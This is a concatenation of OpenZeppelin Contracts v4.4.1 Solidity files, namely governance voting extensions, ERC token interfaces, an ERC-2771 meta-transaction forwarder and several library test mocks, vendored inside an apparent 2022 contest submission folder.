FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorVotes.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotes.sol)
pragma solidity ^0.8.0;
import "../Governor.sol";
import "../../token/ERC20/extensions/ERC20Votes.sol";
import "../../utils/math/Math.sol";
/**
* @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token.
*
* _Available since v4.3._
*/
abstract contract GovernorVotes is Governor {
ERC20Votes public immutable token;
constructor(ERC20Votes tokenAddress) {
token = tokenAddress;
}
/**
* Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).
*/
function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
return token.getPastVotes(account, blockNumber);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorVotesComp.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotesComp.sol)
pragma solidity ^0.8.0;
import "../Governor.sol";
import "../../token/ERC20/extensions/ERC20VotesComp.sol";
/**
* @dev Extension of {Governor} for voting weight extraction from a Comp token.
*
* _Available since v4.3._
*/
abstract contract GovernorVotesComp is Governor {
ERC20VotesComp public immutable token;
constructor(ERC20VotesComp token_) {
token = token_;
}
/**
* Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).
*/
function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
return token.getPriorVotes(account, blockNumber);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/GovernorVotesQuorumFraction.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotesQuorumFraction.sol)
pragma solidity ^0.8.0;
import "./GovernorVotes.sol";
/**
* @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token and a quorum expressed as a
* fraction of the total supply.
*
* _Available since v4.3._
*/
abstract contract GovernorVotesQuorumFraction is GovernorVotes {
uint256 private _quorumNumerator;
event QuorumNumeratorUpdated(uint256 oldQuorumNumerator, uint256 newQuorumNumerator);
constructor(uint256 quorumNumeratorValue) {
_updateQuorumNumerator(quorumNumeratorValue);
}
function quorumNumerator() public view virtual returns (uint256) {
return _quorumNumerator;
}
function quorumDenominator() public view virtual returns (uint256) {
return 100;
}
function quorum(uint256 blockNumber) public view virtual override returns (uint256) {
return (token.getPastTotalSupply(blockNumber) * quorumNumerator()) / quorumDenominator();
}
function updateQuorumNumerator(uint256 newQuorumNumerator) external virtual onlyGovernance {
_updateQuorumNumerator(newQuorumNumerator);
}
function _updateQuorumNumerator(uint256 newQuorumNumerator) internal virtual {
require(
newQuorumNumerator <= quorumDenominator(),
"GovernorVotesQuorumFraction: quorumNumerator over quorumDenominator"
);
uint256 oldQuorumNumerator = _quorumNumerator;
_quorumNumerator = newQuorumNumerator;
emit QuorumNumeratorUpdated(oldQuorumNumerator, newQuorumNumerator);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/extensions/IGovernorTimelock.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/IGovernorTimelock.sol)
pragma solidity ^0.8.0;
import "../IGovernor.sol";
/**
* @dev Extension of the {IGovernor} for timelock supporting modules.
*
* _Available since v4.3._
*/
abstract contract IGovernorTimelock is IGovernor {
event ProposalQueued(uint256 proposalId, uint256 eta);
function timelock() public view virtual returns (address);
function proposalEta(uint256 proposalId) public view virtual returns (uint256);
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public virtual returns (uint256 proposalId);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1155.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155.sol)
pragma solidity ^0.8.0;
import "../token/ERC1155/IERC1155.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1155MetadataURI.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../token/ERC1155/extensions/IERC1155MetadataURI.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1155Receiver.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../token/ERC1155/IERC1155Receiver.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1271.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC1271 standard signature validation method for
* contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271].
*
* _Available since v4.1._
*/
interface IERC1271 {
/**
* @dev Should return whether the signature provided is valid for the provided data
* @param hash Hash of the data to be signed
* @param signature Signature byte array associated with _data
*/
function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1363.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./IERC165.sol";
interface IERC1363 is IERC165, IERC20 {
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
/**
* @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value) external returns (bool);
/**
* @dev Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferAndCall(
address to,
uint256 value,
bytes memory data
) external returns (bool);
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value
) external returns (bool);
/**
* @dev Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferFromAndCall(
address from,
address to,
uint256 value,
bytes memory data
) external returns (bool);
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 value) external returns (bool);
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCall(
address spender,
uint256 value,
bytes memory data
) external returns (bool);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1363Receiver.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Receiver.sol)
pragma solidity ^0.8.0;
interface IERC1363Receiver {
/*
* Note: the ERC-165 identifier for this interface is 0x88a7ca5c.
* 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))
*/
/**
* @notice Handle the receipt of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param from address The address which are token transferred from
* @param value uint256 The amount of tokens transferred
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
* unless throwing
*/
function onTransferReceived(
address operator,
address from,
uint256 value,
bytes memory data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1363Spender.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1363Spender.sol)
pragma solidity ^0.8.0;
interface IERC1363Spender {
/*
* Note: the ERC-165 identifier for this interface is 0x7b04a2d0.
* 0x7b04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))
*/
/**
* @notice Handle the approval of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after an `approve`. This function MAY throw to revert and reject the
* approval. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param owner address The address which called `approveAndCall` function
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
* unless throwing
*/
function onApprovalReceived(
address owner,
uint256 value,
bytes memory data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC165.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1820Implementer.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Implementer.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC1820Implementer.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC1820Registry.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1820Registry.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC1820Registry.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC20.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/IERC20.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC20Metadata.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/IERC20Metadata.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC2981.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC3156.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156.sol)
pragma solidity ^0.8.0;
import "./IERC3156FlashBorrower.sol";
import "./IERC3156FlashLender.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashBorrower.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC3156 FlashBorrower, as defined in
* https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
*
* _Available since v4.1._
*/
interface IERC3156FlashBorrower {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC3156FlashLender.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC3156FlashLender.sol)
pragma solidity ^0.8.0;
import "./IERC3156FlashBorrower.sol";
/**
* @dev Interface of the ERC3156 FlashLender, as defined in
* https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
*
* _Available since v4.1._
*/
interface IERC3156FlashLender {
/**
* @dev The amount of currency available to be lended.
* @param token The loan currency.
* @return The amount of `token` that can be borrowed.
*/
function maxFlashLoan(address token) external view returns (uint256);
/**
* @dev The fee to be charged for a given loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @return The amount of `token` to be charged for the loan, on top of the returned principal.
*/
function flashFee(address token, uint256 amount) external view returns (uint256);
/**
* @dev Initiate a flash loan.
* @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC721.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721.sol)
pragma solidity ^0.8.0;
import "../token/ERC721/IERC721.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC721Enumerable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/IERC721Enumerable.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC721Metadata.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/IERC721Metadata.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC721Receiver.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC721Receiver.sol)
pragma solidity ^0.8.0;
import "../token/ERC721/IERC721Receiver.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC777.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777.sol)
pragma solidity ^0.8.0;
import "../token/ERC777/IERC777.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC777Recipient.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Recipient.sol)
pragma solidity ^0.8.0;
import "../token/ERC777/IERC777Recipient.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/IERC777Sender.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC777Sender.sol)
pragma solidity ^0.8.0;
import "../token/ERC777/IERC777Sender.sol";
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/README.adoc
================================================
= Interfaces
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/interfaces
== List of standardized interfaces
These interfaces are available as `.sol` files, and also as compiler `.json` ABI files (through the npm package). These
are usefull to interract with third party contracts that implement them.
- {IERC20}
- {IERC20Metadata}
- {IERC165}
- {IERC721}
- {IERC721Receiver}
- {IERC721Enumerable}
- {IERC721Metadata}
- {IERC777}
- {IERC777Recipient}
- {IERC777Sender}
- {IERC1155}
- {IERC1155Receiver}
- {IERC1155MetadataURI}
- {IERC1271}
- {IERC1363}
- {IERC1820Implementer}
- {IERC1820Registry}
- {IERC2612}
- {IERC2981}
- {IERC3156FlashLender}
- {IERC3156FlashBorrower}
== Detailed ABI
{{IERC1271}}
{{IERC1363}}
{{IERC1363Receiver}}
{{IERC1820Implementer}}
{{IERC1820Registry}}
{{IERC2612}}
{{IERC2981}}
{{IERC3156FlashLender}}
{{IERC3156FlashBorrower}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/interfaces/draft-IERC2612.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/draft-IERC2612.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/draft-IERC20Permit.sol";
interface IERC2612 is IERC20Permit {}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/metatx/ERC2771Context.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (metatx/ERC2771Context.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Context variant with ERC2771 support.
*/
abstract contract ERC2771Context is Context {
address private _trustedForwarder;
constructor(address trustedForwarder) {
_trustedForwarder = trustedForwarder;
}
function isTrustedForwarder(address forwarder) public view virtual returns (bool) {
return forwarder == _trustedForwarder;
}
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
// The assembly code is more direct than the Solidity version using `abi.decode`.
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
} else {
return super._msgSender();
}
}
function _msgData() internal view virtual override returns (bytes calldata) {
if (isTrustedForwarder(msg.sender)) {
return msg.data[:msg.data.length - 20];
} else {
return super._msgData();
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/metatx/MinimalForwarder.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (metatx/MinimalForwarder.sol)
pragma solidity ^0.8.0;
import "../utils/cryptography/ECDSA.sol";
import "../utils/cryptography/draft-EIP712.sol";
/**
* @dev Simple minimal forwarder to be used together with an ERC2771 compatible contract. See {ERC2771Context}.
*/
contract MinimalForwarder is EIP712 {
using ECDSA for bytes32;
struct ForwardRequest {
address from;
address to;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
}
bytes32 private constant _TYPEHASH =
keccak256("ForwardRequest(address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data)");
mapping(address => uint256) private _nonces;
constructor() EIP712("MinimalForwarder", "0.0.1") {}
function getNonce(address from) public view returns (uint256) {
return _nonces[from];
}
function verify(ForwardRequest calldata req, bytes calldata signature) public view returns (bool) {
address signer = _hashTypedDataV4(
keccak256(abi.encode(_TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data)))
).recover(signature);
return _nonces[req.from] == req.nonce && signer == req.from;
}
function execute(ForwardRequest calldata req, bytes calldata signature)
public
payable
returns (bool, bytes memory)
{
require(verify(req, signature), "MinimalForwarder: signature does not match request");
_nonces[req.from] = req.nonce + 1;
(bool success, bytes memory returndata) = req.to.call{gas: req.gas, value: req.value}(
abi.encodePacked(req.data, req.from)
);
// Validate that the relayer has sent enough gas for the call.
// See https://ronan.eth.link/blog/ethereum-gas-dangers/
assert(gasleft() > req.gas / 63);
return (success, returndata);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/metatx/README.adoc
================================================
= Meta Transactions
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/metatx
== Core
{{ERC2771Context}}
== Utils
{{MinimalForwarder}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/AccessControlEnumerableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../access/AccessControlEnumerable.sol";
contract AccessControlEnumerableMock is AccessControlEnumerable {
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public {
_setRoleAdmin(roleId, adminRoleId);
}
function senderProtected(bytes32 roleId) public onlyRole(roleId) {}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/AccessControlMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
contract AccessControlMock is AccessControl {
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) public {
_setRoleAdmin(roleId, adminRoleId);
}
function senderProtected(bytes32 roleId) public onlyRole(roleId) {}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/AddressImpl.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Address.sol";
contract AddressImpl {
string public sharedAnswer;
event CallReturnValue(string data);
function isContract(address account) external view returns (bool) {
return Address.isContract(account);
}
function sendValue(address payable receiver, uint256 amount) external {
Address.sendValue(receiver, amount);
}
function functionCall(address target, bytes calldata data) external {
bytes memory returnData = Address.functionCall(target, data);
emit CallReturnValue(abi.decode(returnData, (string)));
}
function functionCallWithValue(
address target,
bytes calldata data,
uint256 value
) external payable {
bytes memory returnData = Address.functionCallWithValue(target, data, value);
emit CallReturnValue(abi.decode(returnData, (string)));
}
function functionStaticCall(address target, bytes calldata data) external {
bytes memory returnData = Address.functionStaticCall(target, data);
emit CallReturnValue(abi.decode(returnData, (string)));
}
function functionDelegateCall(address target, bytes calldata data) external {
bytes memory returnData = Address.functionDelegateCall(target, data);
emit CallReturnValue(abi.decode(returnData, (string)));
}
// sendValue's tests require the contract to hold Ether
receive() external payable {}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ArraysImpl.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Arrays.sol";
contract ArraysImpl {
using Arrays for uint256[];
uint256[] private _array;
constructor(uint256[] memory array) {
_array = array;
}
function findUpperBound(uint256 element) external view returns (uint256) {
return _array.findUpperBound(element);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/BadBeacon.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract BadBeaconNoImpl {}
contract BadBeaconNotContract {
function implementation() external pure returns (address) {
return address(0x1);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/BitmapMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/structs/BitMaps.sol";
contract BitMapMock {
using BitMaps for BitMaps.BitMap;
BitMaps.BitMap private _bitmap;
function get(uint256 index) public view returns (bool) {
return _bitmap.get(index);
}
function setTo(uint256 index, bool value) public {
_bitmap.setTo(index, value);
}
function set(uint256 index) public {
_bitmap.set(index);
}
function unset(uint256 index) public {
_bitmap.unset(index);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/CallReceiverMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CallReceiverMock {
string public sharedAnswer;
event MockFunctionCalled();
event MockFunctionCalledWithArgs(uint256 a, uint256 b);
uint256[] private _array;
function mockFunction() public payable returns (string memory) {
emit MockFunctionCalled();
return "0x1234";
}
function mockFunctionWithArgs(uint256 a, uint256 b) public payable returns (string memory) {
emit MockFunctionCalledWithArgs(a, b);
return "0x1234";
}
function mockFunctionNonPayable() public returns (string memory) {
emit MockFunctionCalled();
return "0x1234";
}
function mockStaticFunction() public pure returns (string memory) {
return "0x1234";
}
function mockFunctionRevertsNoReason() public payable {
revert();
}
function mockFunctionRevertsReason() public payable {
revert("CallReceiverMock: reverting");
}
function mockFunctionThrows() public payable {
assert(false);
}
function mockFunctionOutOfGas() public payable {
for (uint256 i = 0; ; ++i) {
_array.push(i);
}
}
function mockFunctionWritesStorage() public returns (string memory) {
sharedAnswer = "42";
return "0x1234";
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ClashingImplementation.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation contract with an admin() function made to clash with
* @dev TransparentUpgradeableProxy's to test correct functioning of the
* @dev Transparent Proxy feature.
*/
contract ClashingImplementation {
function admin() external pure returns (address) {
return 0x0000000000000000000000000000000011111142;
}
function delegatedFunction() external pure returns (bool) {
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ClonesMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/Clones.sol";
import "../utils/Address.sol";
contract ClonesMock {
using Address for address;
using Clones for address;
event NewInstance(address instance);
function clone(address implementation, bytes calldata initdata) public payable {
_initAndEmit(implementation.clone(), initdata);
}
function cloneDeterministic(
address implementation,
bytes32 salt,
bytes calldata initdata
) public payable {
_initAndEmit(implementation.cloneDeterministic(salt), initdata);
}
function predictDeterministicAddress(address implementation, bytes32 salt) public view returns (address predicted) {
return implementation.predictDeterministicAddress(salt);
}
function _initAndEmit(address instance, bytes memory initdata) private {
if (initdata.length > 0) {
instance.functionCallWithValue(initdata, msg.value);
}
emit NewInstance(instance);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ConditionalEscrowMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/escrow/ConditionalEscrow.sol";
// mock class using ConditionalEscrow
contract ConditionalEscrowMock is ConditionalEscrow {
mapping(address => bool) private _allowed;
function setAllowed(address payee, bool allowed) public {
_allowed[payee] = allowed;
}
function withdrawalAllowed(address payee) public view override returns (bool) {
return _allowed[payee];
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ContextMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
contract ContextMock is Context {
event Sender(address sender);
function msgSender() public {
emit Sender(_msgSender());
}
event Data(bytes data, uint256 integerValue, string stringValue);
function msgData(uint256 integerValue, string memory stringValue) public {
emit Data(_msgData(), integerValue, stringValue);
}
}
contract ContextMockCaller {
function callSender(ContextMock context) public {
context.msgSender();
}
function callData(
ContextMock context,
uint256 integerValue,
string memory stringValue
) public {
context.msgData(integerValue, stringValue);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/CountersImpl.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Counters.sol";
contract CountersImpl {
using Counters for Counters.Counter;
Counters.Counter private _counter;
function current() public view returns (uint256) {
return _counter.current();
}
function increment() public {
_counter.increment();
}
function decrement() public {
_counter.decrement();
}
function reset() public {
_counter.reset();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/Create2Impl.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Create2.sol";
import "../utils/introspection/ERC1820Implementer.sol";
contract Create2Impl {
function deploy(
uint256 value,
bytes32 salt,
bytes memory code
) public {
Create2.deploy(value, salt, code);
}
function deployERC1820Implementer(uint256 value, bytes32 salt) public {
Create2.deploy(value, salt, type(ERC1820Implementer).creationCode);
}
function computeAddress(bytes32 salt, bytes32 codeHash) public view returns (address) {
return Create2.computeAddress(salt, codeHash);
}
